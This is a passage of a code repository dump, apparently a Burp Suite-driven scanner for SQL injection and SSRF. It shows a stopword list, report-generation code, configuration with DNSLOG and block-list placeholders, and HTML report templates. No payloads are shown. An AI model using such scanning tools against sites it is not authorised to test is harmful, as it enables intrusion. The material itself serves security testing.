1208 | 有著 1209 | 望 1210 | 朝 1211 | 朝着 1212 | 末##末 1213 | 本 1214 | 本人 1215 | 本地 1216 | 本着 1217 | 本身 1218 | 权时 1219 | 来 1220 | 来不及 1221 | 来得及 1222 | 来看 1223 | 来着 1224 | 来自 1225 | 来讲 1226 | 来说 1227 | 极 1228 | 极为 1229 | 极了 1230 | 极其 1231 | 极力 1232 | 极大 1233 | 极度 1234 | 极端 1235 | 构成 1236 | 果然 1237 | 果真 1238 | 某 1239 | 某个 1240 | 某些 1241 | 某某 1242 | 根据 1243 | 根本 1244 | 格外 1245 | 梆 1246 | 概 1247 | 次第 1248 | 欢迎 1249 | 欤 1250 | 正值 1251 | 正在 1252 | 正如 1253 | 正巧 1254 | 正常 1255 | 正是 1256 | 此 1257 | 此中 1258 | 此后 1259 | 此地 1260 | 此处 1261 | 此外 1262 | 此时 1263 | 此次 1264 | 此间 1265 | 殆 1266 | 毋宁 1267 | 每 1268 | 每个 1269 | 每天 1270 | 每年 1271 | 每当 1272 | 每时每刻 1273 | 每每 1274 | 每逢 1275 | 比 1276 | 比及 1277 | 比如 1278 | 比如说 1279 | 比方 1280 | 比照 1281 | 比起 1282 | 比较 1283 | 毕竟 1284 | 毫不 1285 | 毫无 1286 | 毫无例外 1287 | 毫无保留地 1288 | 汝 1289 | 沙沙 1290 | 没 1291 | 没奈何 1292 | 没有 1293 | 沿 1294 | 沿着 1295 | 注意 1296 | 活 1297 | 深入 1298 | 清楚 1299 | 满 1300 | 满足 1301 | 漫说 1302 | 焉 1303 | 然 1304 | 然则 1305 | 然后 1306 | 然後 1307 | 然而 1308 | 照 1309 | 照着 1310 | 牢牢 1311 | 特别是 1312 | 特殊 1313 | 特点 1314 | 犹且 1315 | 犹自 1316 | 独 1317 | 独自 1318 | 猛然 1319 | 猛然间 1320 | 率尔 1321 | 率然 1322 | 现代 1323 | 现在 1324 | 理应 1325 | 理当 1326 | 理该 1327 | 瑟瑟 1328 | 甚且 1329 | 甚么 1330 | 甚或 1331 | 甚而 1332 | 甚至 1333 | 甚至于 1334 | 用 1335 | 用来 1336 | 甫 1337 | 甭 1338 | 由 1339 | 由于 1340 | 由是 1341 | 由此 1342 | 由此可见 1343 | 略 1344 | 略为 1345 | 略加 1346 | 略微 1347 | 白 1348 | 白白 1349 | 的 1350 | 的确 1351 | 的话 1352 | 皆可 1353 | 目前 1354 | 直到 1355 | 直接 1356 | 相似 1357 | 相信 1358 | 相反 1359 | 相同 1360 | 相对 1361 | 相对而言 1362 | 相应 1363 | 相当 1364 | 相等 1365 | 省得 1366 | 看 1367 | 看上去 1368 | 看出 1369 | 看到 1370 | 看来 1371 | 看样子 1372 | 看看 1373 | 看见 1374 | 看起来 1375 | 真是 1376 | 真正 1377 | 眨眼 1378 | 着 1379 | 着呢 1380 | 矣 1381 | 矣乎 1382 | 矣哉 1383 | 知道 1384 | 砰 1385 | 确定 1386 | 碰巧 1387 | 社会主义 1388 | 离 1389 | 种 1390 | 积极 1391 | 移动 1392 | 究竟 1393 | 穷年累月 1394 | 突出 1395 | 突然 1396 | 窃 1397 | 立 1398 | 立刻 1399 | 立即 1400 | 立地 1401 | 立时 1402 | 立马 1403 | 竟 1404 | 竟然 1405 | 竟而 1406 | 第 1407 | 第二 1408 | 等 1409 | 等到 1410 | 等等 1411 | 策略地 1412 | 简直 1413 | 简而言之 1414 | 简言之 1415 | 管 1416 | 类如 1417 | 粗 1418 | 精光 1419 | 紧接着 1420 | 累年 1421 | 累次 1422 | 纯 1423 | 纯粹 1424 | 纵 1425 | 纵令 1426 | 纵使 1427 | 纵然 1428 | 练习 1429 | 组成 1430 | 经 1431 | 经常 1432 | 经过 1433 | 结合 1434 | 结果 1435 | 给 1436 | 绝 1437 | 绝不 1438 | 绝对 1439 | 绝非 1440 | 绝顶 1441 | 继之 1442 | 继后 1443 | 继续 1444 | 继而 1445 | 维持 1446 | 综上所述 1447 | 缕缕 1448 | 罢了 1449 | 老 1450 | 老大 1451 | 老是 1452 | 老老实实 1453 | 考虑 1454 | 者 1455 | 而 1456 | 而且 1457 | 而况 1458 | 而又 1459 | 而后 1460 | 而外 1461 | 而已 1462 | 而是 1463 | 而言 1464 | 而论 1465 | 联系 1466 | 联袂 1467 | 背地里 1468 | 背靠背 1469 | 能 1470 | 能否 1471 | 能够 1472 | 腾 1473 | 自 1474 | 自个儿 1475 | 自从 1476 | 自各儿 1477 | 自后 1478 | 自家 1479 | 自己 1480 | 自打 1481 | 自身 1482 | 臭 1483 | 至 1484 | 至于 1485 | 至今 1486 | 至若 1487 | 致 1488 | 般的 1489 | 良好 1490 | 若 1491 | 若夫 1492 | 若是 1493 | 若果 1494 | 若非 1495 | 范围 1496 | 莫 1497 | 莫不 1498 | 莫不然 1499 | 莫如 1500 | 莫若 1501 | 莫非 1502 | 获得 1503 | 藉以 1504 | 虽 1505 | 虽则 1506 | 虽然 1507 | 虽说 1508 | 蛮 1509 | 行为 1510 | 行动 1511 | 表明 1512 | 表示 1513 | 被 1514 | 要 1515 | 要不 1516 | 要不是 1517 | 要不然 1518 | 要么 1519 | 要是 1520 | 要求 1521 | 见 1522 | 规定 1523 | 觉得 1524 | 譬喻 1525 | 譬如 1526 | 认为 1527 | 认真 1528 | 认识 1529 | 让 1530 | 许多 1531 | 论 1532 | 论说 1533 | 设使 1534 | 设或 1535 | 设若 1536 | 诚如 1537 | 诚然 1538 | 话说 1539 | 该 1540 | 该当 1541 | 说明 1542 | 说来 1543 | 说说 1544 | 请勿 1545 | 诸 1546 | 诸位 1547 | 诸如 1548 | 谁 1549 | 谁人 1550 | 谁料 1551 | 谁知 1552 | 谨 1553 | 豁然 1554 | 贼死 1555 | 赖以 1556 | 赶 1557 | 赶快 1558 | 赶早不赶晚 1559 | 起 1560 | 起先 1561 | 起初 1562 | 起头 1563 | 起来 1564 | 起见 1565 | 起首 1566 | 趁 1567 | 趁便 1568 | 趁势 1569 | 趁早 1570 | 趁机 1571 | 趁热 1572 | 趁着 1573 | 越是 1574 | 距 1575 | 跟 1576 | 路经 1577 | 转动 1578 | 转变 1579 | 转贴 1580 | 轰然 1581 | 较 1582 | 较为 1583 | 较之 1584 | 较比 1585 | 边 1586 | 达到 1587 | 达旦 1588 | 迄 1589 | 迅速 1590 | 过 1591 | 过于 1592 | 过去 1593 | 过来 1594 | 运用 1595 | 近 1596 | 近几年来 1597 | 近年来 1598 | 近来 1599 | 还 1600 | 还是 1601 | 还有 1602 | 还要 1603 | 这 1604 | 这一来 1605 | 这个 1606 | 这么 1607 | 这么些 1608 | 这么样 1609 | 这么点儿 1610 | 这些 1611 | 这会儿 1612 | 这儿 1613 | 这就是说 1614 | 这时 1615 | 这样 1616 | 这次 1617 | 这点 1618 | 这种 1619 | 这般 1620 | 这边 1621 | 这里 1622 | 这麽 1623 | 进入 1624 | 进去 1625 | 进来 1626 | 进步 1627 | 进而 1628 | 进行 1629 | 连 1630 | 连同 1631 | 连声 1632 | 连日 1633 | 连日来 1634 | 连袂 1635 | 连连 1636 | 迟早 1637 | 迫于 1638 | 适应 1639 | 适当 1640 | 适用 1641 | 逐步 1642 | 逐渐 1643 | 通常 1644 | 通过 1645 | 造成 1646 | 逢 1647 | 遇到 1648 | 遭到 1649 | 遵循 1650 | 遵照 1651 | 避免 1652 | 那 1653 | 那个 1654 | 那么 1655 | 那么些 1656 | 那么样 1657 | 那些 1658 | 那会儿 1659 | 那儿 1660 | 那时 1661 | 那末 1662 | 那样 1663 | 那般 1664 | 那边 1665 | 那里 1666 | 那麽 1667 | 部分 1668 | 都 1669 | 鄙人 1670 | 采取 1671 | 里面 1672 | 重大 1673 | 重新 1674 | 重要 1675 | 鉴于 1676 | 针对 1677 | 长期以来 1678 | 长此下去 1679 | 长线 1680 | 长话短说 1681 | 问题 1682 | 间或 1683 | 防止 1684 | 阿 1685 | 附近 1686 | 陈年 1687 | 限制 1688 | 陡然 1689 | 除 1690 | 除了 1691 | 除却 1692 | 除去 1693 | 除外 1694 | 除开 1695 | 除此 1696 | 除此之外 1697 | 除此以外 1698 | 除此而外 1699 | 除非 1700 | 随 1701 | 随后 1702 | 随时 1703 | 随着 1704 | 随著 1705 | 隔夜 1706 | 隔日 1707 | 难得 1708 | 难怪 1709 | 难说 1710 | 难道 1711 | 难道说 1712 | 集中 1713 | 零 1714 | 需要 1715 | 非但 1716 | 非常 1717 | 非徒 1718 | 非得 1719 | 非特 1720 | 非独 1721 | 靠 1722 | 顶多 1723 | 顷 1724 | 顷刻 1725 | 顷刻之间 1726 | 顷刻间 1727 | 顺 1728 | 顺着 1729 | 顿时 1730 | 颇 1731 | 风雨无阻 1732 | 饱 1733 | 首先 1734 | 马上 1735 | 高低 1736 | 高兴 1737 | 默然 1738 | 默默地 1739 | 齐 1740 | ︿ 1741 | ! 1742 | # 1743 | $ 1744 | % 1745 | & 1746 | ' 1747 | ( 1748 | ) 1749 | )÷(1- 1750 | )、 1751 | * 1752 | + 1753 | +ξ 1754 | ++ 1755 | , 1756 | ,也 1757 | - 1758 | -β 1759 | -- 1760 | -[*]- 1761 | . 1762 | / 1763 | 0 1764 | 0:2 1765 | 1 1766 | 1. 1767 | 12% 1768 | 2 1769 | 2.3% 1770 | 3 1771 | 4 1772 | 5 1773 | 5:0 1774 | 6 1775 | 7 1776 | 8 1777 | 9 1778 | : 1779 | ; 1780 | < 1781 | <± 1782 | <Δ 1783 | <λ 1784 | <φ 1785 | << 1786 | = 1787 | =″ 1788 | =☆ 1789 | =( 1790 | =- 1791 | =[ 1792 | ={ 1793 | > 1794 | >λ 1795 | ? 1796 | @ 1797 | A 1798 | LI 1799 | R.L. 1800 | ZXFITL 1801 | 1802 | [*] 1803 | [- 1804 | [] 1805 | ] 1806 | ]∧′=[ 1807 | ][ 1808 | _ 1809 | a] 1810 | b] 1811 | c] 1812 | e] 1813 | f] 1814 | ng昉 1815 | { 1816 | {- 1817 | | 1818 | } 1819 | }> 1820 | ~ 1821 | ~± 1822 | ~+ 1823 | ¥ 1824 | secondly 1825 | all 1826 | whose 1827 | under 1828 | sorry 1829 | four 1830 | we'll 1831 | somewhere 1832 | likely 1833 | even 1834 | above 1835 | ever 1836 | never 1837 | ZZ 1838 | hers 1839 | i'd 1840 | howbeit 1841 | i'm 1842 | theres 1843 | changes 1844 | anyhow 1845 | would 1846 | therefore 1847 | is 1848 | hereby 1849 | must 1850 | me 1851 | my 1852 | indicated 1853 | indicates 1854 | keep 1855 | far 1856 | after 1857 | hereupon 1858 | keeps 1859 | every 1860 | over 1861 | before 1862 | better 1863 | then 1864 | them 1865 | they 1866 | reasonably 1867 | each 1868 | went 1869 | mean 1870 | we'd 1871 | rd 1872 | re 1873 | got 1874 | forth 1875 | you're 1876 | little 1877 | whereupon 1878 | uses 1879 | already 1880 | another 1881 | took 1882 | second 1883 | seen 1884 | seem 1885 | relatively 1886 | thoroughly 1887 | latter 1888 | that 1889 | thorough 1890 | nobody 1891 | definitely 1892 | came 1893 | saying 1894 | specify 1895 | do 1896 | next 1897 | despite 1898 | unfortunately 1899 | twice 1900 | best 1901 | said 1902 | away 1903 | there's 1904 | unto 1905 | hopefully 1906 | seven 1907 | we 1908 | ltd 1909 | here 1910 | against 1911 | com 1912 | ZT 1913 | aren't 1914 | been 1915 | much 1916 | concerning 1917 | wish 1918 | say 1919 | near 1920 | unlikely 1921 | cant 1922 | in 1923 | ie 1924 | if 1925 | containing 1926 | beside 1927 | several 1928 | kept 1929 | whereby 1930 | whoever 1931 | the 1932 | yours 1933 | just 1934 | yes 1935 | yet 1936 | had 1937 | has 1938 | t's 1939 | possible 1940 | apart 1941 | right 1942 | old 1943 | somehow 1944 | for 1945 | everything 1946 | asking 1947 | who 1948 | of 1949 | theirs 1950 | plus 1951 | formerly 1952 | down 1953 | c's 1954 | accordingly 1955 | way 1956 | was 1957 | becoming 1958 | tell 1959 | sometime 1960 | no 1961 | whereas 1962 | nd 1963 | welcome 1964 | let's 1965 | certainly 1966 | a's 1967 | did 1968 | it'll 1969 | says 1970 | appear 1971 | alone 1972 | wherever 1973 | example 1974 | usually 1975 | nowhere 1976 | hither 1977 | regardless 1978 | everybody 1979 | thru 1980 | everywhere 1981 | can 1982 | following 1983 | want 1984 | didn't 1985 | may 1986 | such 1987 | whenever 1988 | maybe 1989 | ones 1990 | so 1991 | seeing 1992 | indeed 1993 | course 1994 | still 1995 | thank 1996 | he's 1997 | selves 1998 | ours 1999 | outside 2000 | non 2001 | within 2002 | thereby 2003 | not 2004 | now 2005 | nor 2006 | entirely 2007 | eg 2008 | ex 2009 | et 2010 | hadn't 2011 | furthermore 2012 | looking 2013 | seriously 2014 | shouldn't 2015 | she 2016 | quite 2017 | besides 2018 | think 2019 | first 2020 | ignored 2021 | awfully 2022 | given 2023 | anyone 2024 | indicate 2025 | gives 2026 | mostly 2027 | than 2028 | here's 2029 | were 2030 | and 2031 | appreciate 2032 | himself 2033 | saw 2034 | any 2035 | downwards 2036 | take 2037 | sure 2038 | especially 2039 | later 2040 | that's 2041 | fifth 2042 | don't 2043 | aside 2044 | only 2045 | going 2046 | get 2047 | truly 2048 | cannot 2049 | nearly 2050 | regarding 2051 | us 2052 | where 2053 | up 2054 | namely 2055 | anyways 2056 | wonder 2057 | behind 2058 | between 2059 | it 2060 | across 2061 | come 2062 | many 2063 | whereafter 2064 | according 2065 | comes 2066 | afterwards 2067 | couldn't 2068 | moreover 2069 | considering 2070 | sensible 2071 | hardly 2072 | wants 2073 | former 2074 | those 2075 | these 2076 | [ 2077 | somebody 2078 | different 2079 | etc 2080 | insofar 2081 | same 2082 | without 2083 | can't 2084 | very 2085 | you've 2086 | among 2087 | being 2088 | we've 2089 | seems 2090 | around 2091 | using 2092 | specified 2093 | on 2094 | ok 2095 | oh 2096 | whence 2097 | it's 2098 | or 2099 | everyone 2100 | your 2101 | her 2102 | there 2103 | amongst 2104 | trying 2105 | with 2106 | they're 2107 | wasn't 2108 | gone 2109 | certain 2110 | am 2111 | an 2112 | as 2113 | at 2114 | again 2115 | serious 2116 | hello 2117 | since 2118 | consider 2119 | causes 2120 | to 2121 | th 2122 | myself 2123 | i'll 2124 | zero 2125 | further 2126 | what 2127 | brief 2128 | seemed 2129 | c'mon 2130 | allows 2131 | followed 2132 | ask 2133 | viz 2134 | contains 2135 | two 2136 | taken 2137 | more 2138 | knows 2139 | ain't 2140 | particular 2141 | known 2142 | none 2143 | nine 2144 | needs 2145 | rather 2146 | [ 2147 | okay 2148 | tried 2149 | tries 2150 | onto 2151 | perhaps 2152 | specifying 2153 | ] 2154 | help 2155 | soon 2156 | through 2157 | its 2158 | seeming 2159 | inward 2160 | actually 2161 | might 2162 | haven't 2163 | someone 2164 | hereafter 2165 | always 2166 | isn't 2167 | beyond 2168 | really 2169 | they'll 2170 | enough 2171 | thereafter 2172 | done 2173 | together 2174 | least 2175 | too 2176 | immediate 2177 | believe 2178 | gotten 2179 | toward 2180 | self 2181 | also 2182 | towards 2183 | most 2184 | nothing 2185 | they'd 2186 | sometimes 2187 | lest 2188 | particularly 2189 | somewhat 2190 | his 2191 | goes 2192 | meanwhile 2193 | during 2194 | him 2195 | greetings 2196 | see 2197 | are 2198 | currently 2199 | please 2200 | various 2201 | probably 2202 | available 2203 | both 2204 | last 2205 | wouldn't 2206 | became 2207 | whole 2208 | liked 2209 | whatever 2210 | except 2211 | throughout 2212 | along 2213 | described 2214 | though 2215 | whom 2216 | beforehand 2217 | what's 2218 | new 2219 | else 2220 | look 2221 | while 2222 | herein 2223 | itself 2224 | wherein 2225 | used 2226 | anybody 2227 | obviously 2228 | thats 2229 | from 2230 | useful 2231 | merely 2232 | follows 2233 | often 2234 | some 2235 | ourselves 2236 | shall 2237 | per 2238 | tends 2239 | either 2240 | be 2241 | by 2242 | anything 2243 | consequently 2244 | into 2245 | appropriate 2246 | we're 2247 | elsewhere 2248 | hasn't 2249 | un 2250 | noone 2251 | associated 2252 | thanks 2253 | having 2254 | once 2255 | edu 2256 | go 2257 | sent 2258 | provides 2259 | yourselves 2260 | they've 2261 | try 2262 | this 2263 | you'd 2264 | yourself 2265 | zz 2266 | zt 2267 | respectively 2268 | let 2269 | others 2270 | until 2271 | weren't 2272 | use 2273 | few 2274 | themselves 2275 | becomes 2276 | anywhere 2277 | something 2278 | six 2279 | allow 2280 | won't 2281 | thence 2282 | willing 2283 | instead 2284 | whither 2285 | doing 2286 | how 2287 | cause 2288 | thereupon 2289 | que 2290 | via 2291 | could 2292 | hence 2293 | third 2294 | doesn't 2295 | their 2296 | exactly 2297 | regards 2298 | herself 2299 | have 2300 | need 2301 | clearly 2302 | i've 2303 | able 2304 | which 2305 | unless 2306 | where's 2307 | eight 2308 | why 2309 | you'll 2310 | normally 2311 | anyway 2312 | one 2313 | should 2314 | mainly 2315 | overall 2316 | qv 2317 | contain 2318 | looks 2319 | neither 2320 | however 2321 | otherwise 2322 | co 2323 | it'd 2324 | corresponding 2325 | thanx 2326 | novel 2327 | value 2328 | will 2329 | almost 2330 | thus 2331 | vs 2332 | when 2333 | gets 2334 | upon 2335 | off 2336 | nevertheless 2337 | well 2338 | less 2339 | presumably 2340 | ought 2341 | who's 2342 | five 2343 | know 2344 | you 2345 | name 2346 | necessary 2347 | like 2348 | become 2349 | therein 2350 | because 2351 | happens 2352 | does 2353 | although 2354 | about 2355 | getting 2356 | own 2357 | three 2358 | inasmuch 2359 | inner 2360 | but 2361 | hi 2362 | he 2363 | whether 2364 | placed 2365 | below 2366 | our 2367 | 上去-- 2368 | inc 2369 | lately 2370 | other 2371 | latterly 2372 | out 2373 | 是什么 2374 | 什么时候 2375 | 是什么意思 2376 | 什么意思 2377 | 多少钱 2378 | 有没有 2379 | 更有趣 2380 | 更有甚者 2381 | 更有效 2382 | 更有意义 2383 | 更远的 2384 | 更重要的是 2385 | 正确 2386 | 错误 2387 | 第二把 2388 | 第二波 2389 | 第二大节 2390 | 第二单元 2391 | 第二关 2392 | 第二行 2393 | 第二集 2394 | 第二讲 2395 | 第二款 2396 | 第二类 2397 | 第二盘 2398 | 第二任 2399 | 第二声 2400 | 第二十 2401 | 第二首 2402 | 第二项 2403 | 第三遍 2404 | 第三册 2405 | 第三层 2406 | 第三产业 2407 | 第三大 2408 | 第三单元 2409 | 第三行 2410 | 第三回 2411 | 第三集 2412 | 第三件 2413 | 第三句 2414 | 第三卷 2415 | 第三课 2416 | 第三类 2417 | 第三篇 2418 | 第三期 2419 | 第三日 2420 | 第三声 2421 | 地三鲜 2422 | 第三项 2423 | 第三站 2424 | 第三张 2425 | 第十八 2426 | 第十次 2427 | 第十二 2428 | 的士高 2429 | 第十集 2430 | 第十届 2431 | 第十九 2432 | 第十六 2433 | 第十名 2434 | 第十三 2435 | 第十四 2436 | 第十天 2437 | 第十一 2438 | 第十一个 2439 | 第四版 2440 | 第四册 2441 | 第四场 2442 | 第四代 2443 | 第四单元 2444 | 第四集 2445 | 第四届 2446 | 第四年 2447 | 第四期 2448 | 第四声 2449 | 第四套 2450 | 第四位 2451 | 第四张 2452 | 第四者 2453 | 第四种 2454 | 第五部 2455 | 第五大道 2456 | 第五单元 2457 | 第五集 2458 | 第五卷 2459 | 第五课 2460 | 第五年 2461 | 第五期 2462 | 第五位 2463 | 第五元素 2464 | 第五组 2465 | 召唤 2466 | 最后一班 2467 | 最后一遍 2468 | 最后一关 2469 | 最后一集 2470 | 最后一科 2471 | 最后一颗子弹 2472 | 最后一派 2473 | 最后一题 2474 | 最后一眼 2475 | 最后一页 2476 | 10 2477 | 11 2478 | 12 2479 | 35 2480 | 25 2481 | 2016 2482 | 2015 2483 | 2014 2484 | 又为什么 2485 | 有问题吗 2486 | 有问题么 2487 | 又喜欢 2488 | 有喜欢 2489 | 又小 2490 | 又笑 2491 | 有笑 2492 | 有效地 2493 | 有一百 2494 | 又一遍 2495 | 有一部 2496 | 又一城 2497 | 又一村 2498 | 有一道 2499 | 有意的 2500 | 有一堆 2501 | 有一对 2502 | 有一方 2503 | 有一根 2504 | 有一会了 2505 | 有一批 2506 | 有一片 2507 | 有一期 2508 | 有一起 2509 | 有一群 2510 | 又又 2511 | 由由 2512 | 财新网 2513 | 上午 2514 | 下午 2515 | NULL 2516 | 新华社 2517 | 消息 2518 | 13 2519 | 14 2520 | 15 2521 | 16 2522 | 17 2523 | 18 2524 | 19 2525 | 20 2526 | 21 2527 | 22 2528 | 23 2529 | 24 2530 | 26 2531 | 27 2532 | 28 2533 | 29 2534 | 30 2535 | 31 2536 | 32 2537 | 33 2538 | 34 2539 | 36 2540 | 37 2541 | 38 2542 | 39 2543 | 40 2544 | 41 2545 | 42 2546 | 43 2547 | 44 2548 | 45 2549 | 46 2550 | 47 2551 | 48 2552 | 49 2553 | 50 2554 | 51 2555 | 52 2556 | 53 2557 | 54 2558 | 55 2559 | 56 2560 | 57 2561 | 58 2562 | 59 2563 | 60 2564 | 61 2565 | 62 2566 | 63 2567 | 64 2568 | 65 2569 | 66 2570 | 67 2571 | 68 2572 | 69 2573 | 70 2574 | 71 2575 | 72 2576 | 73 2577 | 74 2578 | 75 2579 | 76 2580 | 77 2581 | 78 2582 | 79 2583 | 80 2584 | 81 2585 | 82 2586 | 83 2587 | 84 2588 | 85 2589 | 86 2590 | 87 2591 | 88 2592 | 89 2593 | 90 2594 | 91 2595 | 92 2596 | 93 2597 | 94 2598 | 95 2599 | 96 2600 | 97 2601 | 98 2602 | 99 2603 | 100 2604 | 01 2605 | 02 2606 | 03 2607 | 04 2608 | 05 2609 | 06 2610 | 07 2611 | 08 2612 | 09 -------------------------------------------------------------------------------- /lib/utils/outputer.py: -------------------------------------------------------------------------------- 1 | from jinja2 import Environment,FileSystemLoader 2 | import os 3 | import time 4 | 5 | def generate_html(items, template_name, vulType): 6 | env = Environment(loader=FileSystemLoader(os.path.join(os.path.dirname(__file__),'../../templates/'))) 7 | # template = env.get_template('template_ssrf.html') 8 | template = env.get_template(template_name) 9 | report_dir = os.path.join(os.path.dirname(__file__),'../../reports/') 10 | if not os.path.exists(report_dir): 11 | os.mkdir(report_dir) 12 | t = time.strftime("%Y-%m-%d") 13 | # report_filename = report_dir + 'SSRF-'+ t + '.html' 14 | report_filename = report_dir + vulType + '-'+ t + '.html' 15 | with open(report_filename, 'w', encoding='utf-8') as fp: 16 | html_content = template.render(items=items) 17 | fp.write(html_content) 18 | 19 | # if __name__ == '__main__': 20 | # generate_html({}) 21 | 22 | 23 | -------------------------------------------------------------------------------- /lib/utils/timecalc.py: -------------------------------------------------------------------------------- 1 | import time 2 | from lib.utils.CommonLog import CommonLog 3 | 4 | logger = CommonLog(__name__).getlog() 5 | 6 | def get_time(f): 7 | 8 | def inner(*arg,**kwarg): 9 | s_time = time.time() 10 | res = f(*arg,**kwarg) 11 | e_time = time.time() 12 | logger.info('[*] 耗时:{}秒'.format(e_time - s_time)) 13 | return res 14 | return inner -------------------------------------------------------------------------------- /p1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/depycode/burpsuite_hack/e34fe40e8fbc7cd3baf72981aeeeb1bb4def0be5/p1.png -------------------------------------------------------------------------------- /p2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/depycode/burpsuite_hack/e34fe40e8fbc7cd3baf72981aeeeb1bb4def0be5/p2.png -------------------------------------------------------------------------------- /p3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/depycode/burpsuite_hack/e34fe40e8fbc7cd3baf72981aeeeb1bb4def0be5/p3.png -------------------------------------------------------------------------------- /p4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/depycode/burpsuite_hack/e34fe40e8fbc7cd3baf72981aeeeb1bb4def0be5/p4.png -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | burp==1.27 2 | colorlog==6.6.0 3 | jieba==0.42.1 4 | Jinja2==3.0.3 5 | PyMySQL==1.0.2 6 | requests==2.22.0 7 | scikit_learn==0.24.2 8 | scipy==1.5.4 9 | urllib3==1.25.3 10 | watchdog==2.1.6 11 | -------------------------------------------------------------------------------- /resources/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/depycode/burpsuite_hack/e34fe40e8fbc7cd3baf72981aeeeb1bb4def0be5/resources/__init__.py -------------------------------------------------------------------------------- /resources/app.config: -------------------------------------------------------------------------------- 1 | [app] 2 | BLACK_HEADERS = content-length|if-modified-since|if-none-match|pragma|cache-control|{发送请求前需要去除的参数} 3 | BLACK_PARAMS = nonce|ts|signature|salt|{不进行漏洞探测的参数} 4 | SSRF_DNSLOG = {DNSLOG} 5 | SSRF_API_KEY = {API_KEY} 6 | PROXY = NO 7 | PROXY_HTTP = http://127.0.0.1:8080 8 | REDIRECT = false 9 | TIMEOUT = 60 10 | REPLACE_STATUS = YES 11 | SSRF_TENCENT = YES 12 | DUPLICATE_PARAMS = nonce|ts|signature|{去重干扰参数} 13 | DUPLICATE_LEGNTH = 5000 14 | BLACK_HOSTS = pingfore.qq.com|www.baidu.com|{不扫描的域名} 15 | 16 | 17 | [mysql] 18 | HOST = {host} 19 | PORT = {port} 20 | USERNAME = {username} 21 | PASSWD = {pass} 22 | DB = {db_name} 23 | CHARSETS = utf8 24 | 25 | [score] 26 | SIMILAR = 0.93 27 | COSINSCORE = 75 28 | 29 | [REPLACE] 30 | REGEX = "t":\d{10}|"current":\d{10}|"reqData":".*?"|"skey":".*?"|{使用正则配置需要替换为空的内容,排除动态页面内容干扰注入判断} 31 | -------------------------------------------------------------------------------- /templates/base_sql_bool.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | SQL BOOL INJECTION VUL 6 | 7 | 8 | 9 | 10 | 21 | 22 | 23 |

SQL BOOL INJECTION VUL

24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | {% block table_body %} 38 | 39 | {% endblock %} 40 |
发现时间域名等级payloadrequestresponse
41 | 42 | 43 | 44 | 45 | -------------------------------------------------------------------------------- /templates/base_sql_error.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | SQL INJECTION VUL 6 | 7 | 8 | 9 | 20 | 21 | 22 |

SQL INJECTION VUL

23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | {% block table_body %} 36 | 37 | {% endblock %} 38 |
发现时间域名DBMSrequestresponse
39 | 40 | 41 | 42 | 43 | -------------------------------------------------------------------------------- /templates/base_ssrf.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | SSRF & RCE VUL 6 | 7 | 8 | 9 | 20 | 21 | 22 |

SSRF VUL

23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | {% block table_body %} 36 | 37 | {% endblock %} 38 |
发现时间域名dnslogrequestresponse
39 | 40 | 41 | 42 | 43 | -------------------------------------------------------------------------------- /templates/template_sql_bool.html: -------------------------------------------------------------------------------- 1 | {% extends "base_sql_bool.html" %} 2 | {% block table_body %} 3 | {% for item in items %} 4 | 5 | 6 | {{ item[0] }} 7 | {{ item[1] }} 8 | {% if item[2] == 0 %} 9 |

疑似

10 | {% elif item[2] == 1 %} 11 |

确定

12 | {% endif %} 13 | {{ item[3]}} 14 | 15 |
16 | 请求包 17 |
{{ item[4] | e | replace('\r\n','
') }}
18 |
19 | 20 | 21 |
22 | 响应包 23 |
{{ item[5] | e | replace('\r\n','
') }}
24 |
25 | 26 | 27 | 28 | {% endfor %} 29 | {% endblock %} -------------------------------------------------------------------------------- /templates/template_sql_error.html: -------------------------------------------------------------------------------- 1 | {% extends "base_sql_error.html" %} 2 | {% block table_body %} 3 | {% for item in items %} 4 | 5 | 6 | {{ item[0] }} 7 | {{ item[1] }} 8 | {{ item[2] }} 9 | 10 |
11 | 请求包 12 |
{{ item[3] | e | replace('\r\n','
') }}
13 |
14 | 15 | 16 |
17 | 响应包 18 |
{{ item[4] | e | replace('\r\n','
') }}
19 |
20 | 21 | 22 | 23 | {% endfor %} 24 | {% endblock %} -------------------------------------------------------------------------------- /templates/template_ssrf.html: -------------------------------------------------------------------------------- 1 | {% extends "base_ssrf.html" %} 2 | {% block table_body %} 3 | {% for item in items %} 4 | 5 | 6 | {{ item[0] }} 7 | {{ item[1] }} 8 | {{ item[2] }} 9 | 10 |
11 | 请求包 12 |
{{ item[3] | e | replace('\r\n','
') }}
13 |
14 | 15 | 16 |
17 | 响应包 18 |
{{ item[4] | e | replace('\r\n','
') }}
19 |
20 | 21 | 22 | 23 | {% endfor %} 24 | {% endblock %} --------------------------------------------------------------------------------